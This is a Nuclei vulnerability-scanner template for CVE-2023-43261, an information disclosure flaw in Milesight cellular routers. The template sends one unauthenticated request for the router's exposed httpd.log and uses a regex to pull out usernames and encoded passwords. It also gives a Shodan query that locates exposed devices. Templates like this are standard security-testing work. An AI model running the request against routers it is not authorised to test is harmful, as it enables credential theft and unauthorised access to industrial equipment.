nuclei-templates/http/cves/2023/CVE-2023-43261.yaml

42 lines
2.1 KiB
YAML
Raw Normal View History

id: CVE-2023-43261
info:
name: Milesight Routers - Information Disclosure
author: gy741
severity: high
description: |
A critical security vulnerability has been identified in Milesight Industrial Cellular Routers, compromising the security of sensitive credentials and permitting unauthorized access. This vulnerability stems from a misconfiguration that results in directory listing being enabled on the router systems, rendering log files publicly accessible. These log files, while containing sensitive information such as admin and other user passwords (encrypted as a security measure), can be exploited by attackers via the router's web interface. The presence of a hardcoded AES secret key and initialization vector (IV) in the JavaScript code further exacerbates the situation, facilitating the decryption of these passwords. This chain of vulnerabilities allows malicious actors to gain unauthorized access to the router.
reference:
- https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf
- https://github.com/win3zz/CVE-2023-43261
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43261
2023-10-14 11:27:55 +00:00
- http://milesight.com
- http://ur5x.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-43261
cwe-id: CWE-532
epss-score: 0.00476
epss-percentile: 0.73003
2023-10-14 11:27:55 +00:00
cpe: cpe:2.3:o:milesight:ur5x_firmware:*:*:*:*:*:*:*:*
metadata:
2023-10-14 11:27:55 +00:00
verified: true
max-request: 1
2023-10-14 11:27:55 +00:00
vendor: milesight
product: ur5x_firmware
shodan-query: http.html:rt_title
tags: cve,cve2023,router,milesight,disclosure,unauth,iot
http:
- method: GET
path:
- "{{BaseURL}}/lang/log/httpd.log"
max-size: 5000
2023-10-14 11:27:55 +00:00
extractors:
- type: regex
regex:
- '"username":"([^"]+)","password":"(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)"'
# digest: 4a0a00473045022100b06561d92b786ac339f6dc92b0071729c5bafa632b447bc8855f32bbc9cc02d502200c1ff09f8f5b7b052dea71093c5f505b527bd047601e356b417e9d72020d5b86:922c64590222798bb761d5b6d8e72950